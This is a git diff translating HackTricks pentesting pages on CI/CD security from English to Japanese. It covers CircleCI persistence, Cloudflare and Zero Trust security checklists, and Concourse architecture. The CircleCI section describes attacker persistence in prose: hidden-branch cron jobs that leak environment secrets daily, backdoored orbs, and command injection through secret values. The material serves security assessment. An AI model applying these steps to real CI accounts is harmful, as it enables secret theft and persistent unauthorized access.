#docker: - # - image: cimg/base:stable - machine: - image: ubuntu-2004:current +exfil-env: +#docker: +# - image: cimg/base:stable +machine: +image: ubuntu-2004:current ``` - -Or even a docker container with access to a remote docker service: - +リモートのdockerサービスにアクセスできるdockerコンテナでも: ```yaml jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - setup_remote_docker: - version: 19.03.13 +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- setup_remote_docker: +version: 19.03.13 ``` - #### Persistence -- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access. - - _https://app.circleci.com/settings/user/tokens_ -- It's possible to **create projects tokens** to access the project with the permissions given to the token. - - _https://app.circleci.com/settings/project/github/\/\/api_ -- It's possible to **add SSH keys** to the projects. - - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday. - - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday. -- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor** -- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value +- CircleCIで**ユーザートークンを作成**して、ユーザーのアクセスでAPIエンドポイントにアクセスすることが可能です。 +- _https://app.circleci.com/settings/user/tokens_ +- **プロジェクトトークンを作成**して、トークンに与えられた権限でプロジェクトにアクセスすることが可能です。 +- _https://app.circleci.com/settings/project/github/\/\/api_ +- プロジェクトに**SSHキーを追加**することが可能です。 +- _https://app.circleci.com/settings/project/github/\/\/ssh_ +- 予期しないプロジェクトの**隠れたブランチにcronジョブを作成**して、毎日すべての**コンテキスト環境**変数を**漏洩**させることが可能です。 +- あるいは、ブランチで作成したり、既知のジョブを修正して、毎日すべてのコンテキストと**プロジェクトの秘密**を**漏洩**させることもできます。 +- GitHubのオーナーであれば、**未確認のオーブを許可**し、ジョブに**バックドア**として設定することができます。 +- 一部のタスクで**コマンドインジェクションの脆弱性**を見つけ、**秘密**の値を変更して**コマンドを注入**することができます。 {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 77d2c2c50..af7d3ff11 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +Cloudflareアカウントには、設定可能な**一般設定とサービス**があります。このページでは、各セクションの**セキュリティ関連設定**を**分析**します。
## Websites -Review each with: +各項目を確認してください： {{#ref}} cloudflare-domains.md @@ -16,9 +16,9 @@ cloudflare-domains.md ### Domain Registration -- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain. +- [ ] **`Transfer Domains`**で、ドメインを転送できないことを確認します。 -Review each with: +各項目を確認してください： {{#ref}} cloudflare-domains.md @@ -26,39 +26,39 @@ cloudflare-domains.md ## Analytics -_I couldn't find anything to check for a config security review._ +_設定のセキュリティレビューのために確認できるものは見つかりませんでした。_ ## Pages -On each Cloudflare's page: +各Cloudflareのページで： -- [ ] Check for **sensitive information** in the **`Build log`**. -- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages. -- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/). -- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any). -- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code** -- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**. -- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page. +- [ ] **`Build log`**に**機密情報**がないか確認します。 +- [ ] ページに割り当てられた**Githubリポジトリ**に**機密情報**がないか確認します。 +- [ ] **workflow command injection**または`pull_request_target`の侵害による潜在的なgithubリポジトリの侵害を確認します。詳細は[**Github Security page**](../github-security/)を参照してください。 +- [ ] `/fuctions`ディレクトリ内の**脆弱な関数**を確認し（あれば）、`_redirects`ファイル内の**リダイレクト**（あれば）と`_headers`ファイル内の**誤設定されたヘッダー**（あれば）を確認します。 +- [ ] **コードにアクセス**できる場合、**blackbox**または**whitebox**を通じて**ウェブページ**の**脆弱性**を確認します。 +- [ ] 各ページの詳細`//pages/view/blocklist/settings/functions`で、**`Environment variables`**に**機密情報**がないか確認します。 +- [ ] 詳細ページで、**ビルドコマンド**と**ルートディレクトリ**に**潜在的なインジェクション**がないか確認します。 ## **Workers** -On each Cloudflare's worker check: +各Cloudflareのワーカーで確認します： -- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker? -- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information** -- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input) - - Check for SSRFs returning the indicated page that you can control - - Check XSSs executing JS inside a svg image - - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input. +- [ ] トリガー：ワーカーをトリガーするのは何ですか？**ユーザーがデータを送信**して、ワーカーで**使用される**可能性はありますか？ +- [ ] **`Settings`**で、**機密情報**を含む**`Variables`**を確認します。 +- [ ] **ワーカーのコード**を確認し、**脆弱性**を探します（特にユーザーが入力を管理できる場所で）。 +- 指定されたページを返すSSRFを確認します。 +- svg画像内でJSを実行するXSSを確認します。 +- ワーカーが他の内部サービスと相互作用する可能性があります。たとえば、ワーカーは入力から取得した情報を格納するR2バケットと相互作用する場合があります。その場合、ワーカーがR2バケットに対してどのような権限を持っているか、ユーザー入力からどのように悪用される可能性があるかを確認する必要があります。 > [!WARNING] -> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it. +> デフォルトでは、**WorkerにはURL**が与えられます。例：`..workers.dev`。ユーザーは**サブドメイン**に設定できますが、知っていればその**元のURL**で常にアクセスできます。 ## R2 -On each R2 bucket check: +各R2バケットで確認します： -- [ ] Configure **CORS Policy**. +- [ ] **CORSポリシー**を設定します。 ## Stream @@ -70,8 +70,8 @@ TODO ## Security Center -- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise. -- [ ] Just **check this information** for security misconfigurations and interesting info +- [ ] 可能であれば、**`Security Insights`**スキャンと**`Infrastructure`**スキャンを実行してください。これにより、**セキュリティ**に関する興味深い情報が**強調表示**されます。 +- [ ] セキュリティの誤設定や興味深い情報について**この情報**を確認してください。 ## Turnstile @@ -86,53 +86,49 @@ cloudflare-zero-trust-network.md ## Bulk Redirects > [!NOTE] -> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior. +> [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/)とは異なり、[**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/)は本質的に静的です — 文字列置換操作や正規表現を**サポートしません**。ただし、URLのマッチング動作や実行時の動作に影響を与えるURLリダイレクトパラメータを設定できます。 -- [ ] Check that the **expressions** and **requirements** for redirects **make sense**. -- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info. +- [ ] **リダイレクトのための**`expressions`**と**`requirements`**が**意味をなしているか確認します。 +- [ ] **機密の隠されたエンドポイント**に興味深い情報が含まれていないかも確認します。 ## Notifications -- [ ] Check the **notifications.** These notifications are recommended for security: - - `Usage Based Billing` - - `HTTP DDoS Attack Alert` - - `Layer 3/4 DDoS Attack Alert` - - `Advanced HTTP DDoS Attack Alert` - - `Advanced Layer 3/4 DDoS Attack Alert` - - `Flow-based Monitoring: Volumetric Attack` - - `Route Leak Detection Alert` - - `Access mTLS Certificate Expiration Alert` - - `SSL for SaaS Custom Hostnames Alert` - - `Universal SSL Alert` - - `Script Monitor New Code Change Detection Alert` - - `Script Monitor New Domain Alert` - - `Script Monitor New Malicious Domain Alert` - - `Script Monitor New Malicious Script Alert` - - `Script Monitor New Malicious URL Alert` - - `Script Monitor New Scripts Alert` - - `Script Monitor New Script Exceeds Max URL Length Alert` - - `Advanced Security Events Alert` - - `Security Events Alert` -- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS** - - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous** +- [ ] **通知**を確認します。これらの通知はセキュリティのために推奨されます： +- `Usage Based Billing` +- `HTTP DDoS Attack Alert` +- `Layer 3/4 DDoS Attack Alert` +- `Advanced HTTP DDoS Attack Alert` +- `Advanced Layer 3/4 DDoS Attack Alert` +- `Flow-based Monitoring: Volumetric Attack` +- `Route Leak Detection Alert` +- `Access mTLS Certificate Expiration Alert` +- `SSL for SaaS Custom Hostnames Alert` +- `Universal SSL Alert` +- `Script Monitor New Code Change Detection Alert` +- `Script Monitor New Domain Alert` +- `Script Monitor New Malicious Domain Alert` +- `Script Monitor New Malicious Script Alert` +- `Script Monitor New Malicious URL Alert` +- `Script Monitor New Scripts Alert` +- `Script Monitor New Script Exceeds Max URL Length Alert` +- `Advanced Security Events Alert` +- `Security Events Alert` +- [ ] すべての**宛先**を確認してください。Webhook URLに**機密情報**（基本的なhttp認証）が含まれている可能性があります。また、Webhook URLが**HTTPS**を使用していることを確認してください。 +- [ ] 追加の確認として、**Cloudflare通知を第三者に偽装**してみることができます。もしかしたら、何らかの方法で**危険なものを注入**できるかもしれません。 ## Manage Account -- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**. -- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**. -- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle. - - Therefore, whenever possible is **recommended** to use the **Enterprise plan**. -- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled. +- [ ] **`Billing` -> `Payment info`**で、**クレジットカードの最後の4桁**、**有効期限**、および**請求先住所**を見ることができます。 +- [ ] **`Billing` -> `Subscriptions`**で、アカウントで使用されている**プランタイプ**を見ることができます。 +- [ ] **`Members`**で、アカウントのすべてのメンバーとその**役割**を見ることができます。プランタイプがEnterpriseでない場合、2つの役割（AdministratorとSuper Administrator）のみが存在します。しかし、使用されている**プランがEnterprise**の場合、[**より多くの役割**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/)が使用でき、最小権限の原則に従うことができます。 +- したがって、可能な限り**Enterpriseプラン**を使用することが**推奨**されます。 +- [ ] メンバーで**2FAが有効**になっている**メンバー**を確認できます。**すべての**ユーザーは有効にするべきです。 > [!NOTE] -> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members) +> 幸いなことに、役割**`Administrator`**はメンバーシップを管理する権限を与えません（**権限を昇格させたり、新しいメンバーを招待したりできません**）。 ## DDoS Investigation -[Check this part](cloudflare-domains.md#cloudflare-ddos-protection). +[この部分を確認してください](cloudflare-domains.md#cloudflare-ddos-protection)。 {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 02989e685..c1e348e92 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -2,127 +2,127 @@ {{#include ../../banners/hacktricks-training.md}} -In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +Cloudflareに設定された各TLDには、いくつかの**一般設定とサービス**が構成できます。このページでは、各セクションの**セキュリティ関連設定**を**分析**します。
-### Overview +### 概要 -- [ ] Get a feeling of **how much** are the services of the account **used** -- [ ] Find also the **zone ID** and the **account ID** +- [ ] アカウントのサービスが**どれだけ**使用されているかを把握する +- [ ] **ゾーンID**と**アカウントID**も確認する -### Analytics +### 分析 -- [ ] In **`Security`** check if there is any **Rate limiting** +- [ ] **`Security`**で**レート制限**があるか確認する ### DNS -- [ ] Check **interesting** (sensitive?) data in DNS **records** -- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com) -- [ ] Check for web pages that **aren't** **proxied** -- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address -- [ ] Check that **DNSSEC** is **enabled** -- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs** - - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings -- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) +- [ ] DNS **レコード**に**興味深い**（機密？）データがあるか確認する +- [ ] **名前**に基づいて**機密情報**を含む可能性のある**サブドメイン**を確認する（例：admin173865324.domin.com） +- [ ] **プロキシされていない**ウェブページを確認する +- [ ] CNAMEまたはIPアドレスで**直接アクセス可能な**プロキシ化されたウェブページを確認する +- [ ] **DNSSEC**が**有効**であることを確認する +- [ ] **すべてのCNAMEでCNAMEフラッティングが使用されている**ことを確認する +- これは**サブドメインの乗っ取り脆弱性を隠す**のに役立ち、読み込み時間を改善します +- [ ] ドメインが[**スプーフィングに対して脆弱でない**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)ことを確認する -### **Email** +### **メール** TODO -### Spectrum +### スペクトラム TODO ### SSL/TLS -#### **Overview** +#### **概要** -- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point. -- [ ] The **SSL/TLS Recommender** should be enabled +- [ ] **SSL/TLS暗号化**は**フル**または**フル（厳格）**であるべきです。他の設定では、いずれかの時点で**平文トラフィック**が送信されます。 +- [ ] **SSL/TLS推奨設定**が有効であるべきです -#### Edge Certificates +#### エッジ証明書 -- [ ] **Always Use HTTPS** should be **enabled** -- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled** -- [ ] **Minimum TLS Version should be 1.2** -- [ ] **TLS 1.3 should be enabled** -- [ ] **Automatic HTTPS Rewrites** should be **enabled** -- [ ] **Certificate Transparency Monitoring** should be **enabled** +- [ ] **常にHTTPSを使用**が**有効**であるべきです +- [ ] **HTTP厳格トランスポートセキュリティ（HSTS）**が**有効**であるべきです +- [ ] **最小TLSバージョンは1.2であるべきです** +- [ ] **TLS 1.3が有効**であるべきです +- [ ] **自動HTTPS書き換え**が**有効**であるべきです +- [ ] **証明書透明性モニタリング**が**有効**であるべきです -### **Security** +### **セキュリティ** -- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses. - - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used. -- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used -- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare -- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections** -- [ ] In the **`Settings`** section: - - [ ] Check that the **`Security Level`** is **medium** or greater - - [ ] Check that the **`Challenge Passage`** is 1 hour at max - - [ ] Check that the **`Browser Integrity Check`** is **enabled** - - [ ] Check that the **`Privacy Pass Support`** is **enabled** +- [ ] **`WAF`**セクションでは、**ファイアウォール**と**レート制限ルールが使用されている**か確認することが重要です。 +- **`バイパス`**アクションは、リクエストに対して**Cloudflareのセキュリティ**機能を**無効**にします。使用すべきではありません。 +- [ ] **`ページシールド`**セクションでは、ページが使用されている場合は**有効**であることを確認することをお勧めします +- [ ] **`APIシールド`**セクションでは、CloudflareでAPIが公開されている場合は**有効**であることを確認することをお勧めします +- [ ] **`DDoS`**セクションでは、**DDoS保護を有効**にすることをお勧めします +- [ ] **`設定`**セクションでは： +- [ ] **`セキュリティレベル`**が**中**以上であることを確認する +- [ ] **`チャレンジパッセージ`**が最大1時間であることを確認する +- [ ] **`ブラウザ整合性チェック`**が**有効**であることを確認する +- [ ] **`プライバシーパスサポート`**が**有効**であることを確認する -#### **CloudFlare DDoS Protection** +#### **CloudFlare DDoS保護** -- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access. -- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie. - - If the attack is from a **verified bot**, at least **add a rate limit** to bots. - - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path. - - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF. - - Check if **Managed rules** could also help to prevent vulnerability exploitations. - - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.** -- In DDoS you could **override some rules to make them more restrictive**. -- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**. -- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled -- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events** +- 可能であれば、**ボットファイトモード**または**スーパーボットファイトモード**を有効にしてください。プログラム的にアクセスされるAPIを保護している場合（例えば、JSフロントエンドページから）。そのアクセスを壊さずにこれを有効にできないかもしれません。 +- **WAF**では、**URLパスによるレート制限**を作成したり、**確認済みボット**に対して（レート制限ルール）、または**IP、クッキー、リファラー**に基づいて**アクセスをブロック**することができます。したがって、ウェブページから来ないリクエストやクッキーを持たないリクエストをブロックできます。 +- 攻撃が**確認済みボット**からの場合、少なくとも**ボットにレート制限を追加**してください。 +- 攻撃が**特定のパス**に対するものであれば、予防策としてそのパスに**レート制限を追加**してください。 +- **ツール**からIPアドレス、IP範囲、国、またはASNを**ホワイトリスト**に追加することもできます。 +- **管理ルール**が脆弱性の悪用を防ぐのに役立つか確認してください。 +- **ツール**セクションでは、特定のIPや**ユーザーエージェント**に対して**ブロックまたはチャレンジを与える**ことができます。 +- DDoSでは、**ルールをオーバーライドしてより制限的にする**ことができます。 +- **設定**：**セキュリティレベル**を**高**に設定し、**攻撃中**の場合は**攻撃中**に設定し、**ブラウザ整合性チェックが有効**であることを確認してください。 +- Cloudflare Domains -> Analytics -> Security -> **レート制限**が有効か確認する +- Cloudflare Domains -> Security -> Events -> **検出された悪意のあるイベント**を確認する -### Access +### アクセス {{#ref}} cloudflare-zero-trust-network.md {{#endref}} -### Speed +### スピード -_I couldn't find any option related to security_ +_セキュリティに関連するオプションは見つかりませんでした_ -### Caching +### キャッシング -- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool** +- [ ] **`設定`**セクションで**CSAMスキャンツール**を有効にすることを検討してください -### **Workers Routes** +### **ワーカーズルート** -_You should have already checked_ [_cloudflare workers_](./#workers) +_すでに_ [_cloudflare workers_](./#workers) _を確認しているはずです_ -### Rules +### ルール TODO -### Network +### ネットワーク -- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled** -- [ ] **`HTTP/3 (with QUIC)`** should be **enabled** -- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled** +- [ ] **`HTTP/2`**が**有効**であれば、**`HTTP/2 to Origin`**も**有効**であるべきです +- [ ] **`HTTP/3 (with QUIC)`**が**有効**であるべきです +- [ ] **ユーザー**の**プライバシー**が重要であれば、**`オニオンルーティング`**が**有効**であることを確認してください -### **Traffic** +### **トラフィック** TODO -### Custom Pages +### カスタムページ -- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode) +- [ ] セキュリティに関連するエラーが発生した場合（ブロック、レート制限、または攻撃中モードなど）にカスタムページを設定することはオプションです -### Apps +### アプリ TODO -### Scrape Shield +### スクレイプシールド -- [ ] Check **Email Address Obfuscation** is **enabled** -- [ ] Check **Server-side Excludes** is **enabled** +- [ ] **メールアドレスの難読化**が**有効**であることを確認する +- [ ] **サーバーサイド除外**が**有効**であることを確認する -### **Zaraz** +### **ザラズ** TODO @@ -131,7 +131,3 @@ TODO TODO {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index 491ae7bc1..c0795a1ac 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -2,43 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +**Cloudflare Zero Trust Network** アカウントには、いくつかの **設定とサービス** が構成可能です。このページでは、各セクションの **セキュリティ関連設定** を **分析** します。
### Analytics -- [ ] Useful to **get to know the environment** +- [ ] 環境を **理解するために役立つ** ### **Gateway** -- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications. - - If used, **policies** could be created to **restrict** the access to malicious sites. - - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies. +- [ ] **`Policies`** では、アプリケーションにアクセスできるユーザーを **DNS**、**ネットワーク**、または **HTTP** リクエストによって **制限** するポリシーを生成できます。 +- 使用されている場合、**ポリシー**を作成して悪意のあるサイトへのアクセスを **制限** できます。 +- これは **ゲートウェイが使用されている場合のみ関連** します。使用されていない場合、防御的なポリシーを作成する理由はありません。 ### Access #### Applications -On each application: +各アプリケーションについて： -- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access. - - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also) -- [ ] Check the **available identity providers** and make sure they **aren't too open** -- [ ] In **`Settings`**: - - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything) - - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP. - - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** +- [ ] **誰**がアプリケーションにアクセスできるかを **Policies** で確認し、**アクセスが必要なユーザーのみ**がアプリケーションにアクセスできることを確認します。 +- アクセスを許可するために **`Access Groups`** が使用されます（**追加ルール**も設定可能です）。 +- [ ] **利用可能なアイデンティティプロバイダー**を確認し、**あまりオープンでないこと**を確認します。 +- [ ] **`Settings`** で： +- [ ] **CORSが有効でないこと**を確認します（有効な場合は、**安全であり、すべてを許可していないこと**を確認します）。 +- [ ] クッキーには **Strict Same-Site** 属性、**HTTP Only** が必要で、アプリケーションがHTTPの場合は **binding cookie** を **有効** にする必要があります。 +- [ ] より良い **保護のためにブラウザレンダリング** を有効にすることも検討してください。詳細は [**リモートブラウザアイソレーションについてこちら**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**。** #### **Access Groups** -- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow. -- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**. - - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary. +- [ ] 生成されたアクセスグループが **正しく制限** されていることを確認します。 +- [ ] **デフォルトのアクセスグループがあまりオープンでないこと**を特に確認することが重要です（**多くの人を許可していないこと**）。デフォルトでは、その **グループ** の誰でも **アプリケーションにアクセス** できるようになります。 +- **EVERYONE** に **アクセス** を与えることや、100% 必要でない限り推奨されない **非常にオープンなポリシー** を設定することが可能であることに注意してください。 #### Service Auth -- [ ] Check that all service tokens **expires in 1 year or less** +- [ ] すべてのサービストークンが **1年以内に期限切れ** になることを確認します。 #### Tunnels @@ -50,16 +50,12 @@ TODO ### Logs -- [ ] You could search for **unexpected actions** from users +- [ ] ユーザーからの **予期しないアクション** を検索できます。 ### Settings -- [ ] Check the **plan type** -- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address** -- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service +- [ ] **プランタイプ**を確認します。 +- [ ] **クレジットカードの所有者名**、**最後の4桁**、**有効期限**、および **住所** を確認できます。 +- 実際にこのサービスを使用していないユーザーを削除するために、**ユーザーシートの有効期限を追加** することをお勧めします。 {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index bcf20facf..4949d59d1 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -2,36 +2,32 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...) +Concourseは、必要に応じて（時間ベース、何かが発生したときなど）テスト、アクションを自動的に実行し、イメージをビルドするための**パイプラインを構築**することを可能にします。 -## Concourse Architecture +## Concourseアーキテクチャ -Learn how the concourse environment is structured in: +Concourse環境がどのように構成されているかを学ぶには： {{#ref}} concourse-architecture.md {{#endref}} -## Concourse Lab +## Concourseラボ -Learn how you can run a concourse environment locally to do your own tests in: +自分のテストを行うために、ローカルでConcourse環境を実行する方法を学ぶには： {{#ref}} concourse-lab-creation.md {{#endref}} -## Enumerate & Attack Concourse +## Concourseの列挙と攻撃 -Learn how you can enumerate the concourse environment and abuse it in: +Concourse環境を列挙し、それを悪用する方法を学ぶには： {{#ref}} concourse-enumeration-and-attacks.md {{#endref}} {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index d70167906..1a6317272 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -4,39 +4,35 @@ {{#include ../../banners/hacktricks-training.md}} -[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html) +[**Concourse ドキュメントからの関連データ:**](https://concourse-ci.org/internals.html) ### Architecture ![](<../../images/image (187).png>) -#### ATC: web UI & build scheduler +#### ATC: ウェブ UI & ビルドスケジューラ -The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs). +ATCはConcourseの中心です。**ウェブ UI と API**を実行し、すべてのパイプラインの**スケジューリング**を担当します。**PostgreSQL**に接続し、パイプラインデータ（ビルドログを含む）を保存します。 -The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes. +[checker](https://concourse-ci.org/checker.html)の責任は、リソースの新しいバージョンを継続的にチェックすることです。[scheduler](https://concourse-ci.org/scheduler.html)はジョブのビルドをスケジュールする責任があり、[build tracker](https://concourse-ci.org/build-tracker.html)はスケジュールされたビルドを実行する責任があります。[garbage collector](https://concourse-ci.org/garbage-collector.html)は、未使用または古くなったオブジェクト（コンテナやボリュームなど）を削除するためのクリーンアップメカニズムです。 -#### TSA: worker registration & forwarding +#### TSA: ワーカー登録 & 転送 -The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc). +TSAは**カスタムビルドのSSHサーバー**であり、[**ワーカー**](https://concourse-ci.org/internals.html#architecture-worker)を[ATC](https://concourse-ci.org/internals.html#component-atc)に安全に**登録**するためだけに使用されます。 -The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer. +TSAは**デフォルトでポート`2222`**でリッスンし、通常は[ATC](https://concourse-ci.org/internals.html#component-atc)と同じ場所に配置され、ロードバランサーの背後にあります。 -The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa). +**TSAはSSH接続を介してCLIを実装し、**[**これらのコマンド**](https://concourse-ci.org/internals.html#component-tsa)をサポートします。 #### Workers -In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim). +タスクを実行するために、Concourseはワーカーを持つ必要があります。これらのワーカーは[TSA](https://concourse-ci.org/internals.html#component-tsa)を介して**自分自身を登録**し、[**Garden**](https://github.com/cloudfoundry-incubator/garden)と[**Baggageclaim**](https://github.com/concourse/baggageclaim)のサービスを実行します。 -- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**. -- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**. +- **Garden**: これは**コンテナ管理API**で、通常は**ポート7777**で**HTTP**を介して実行されます。 +- **Baggageclaim**: 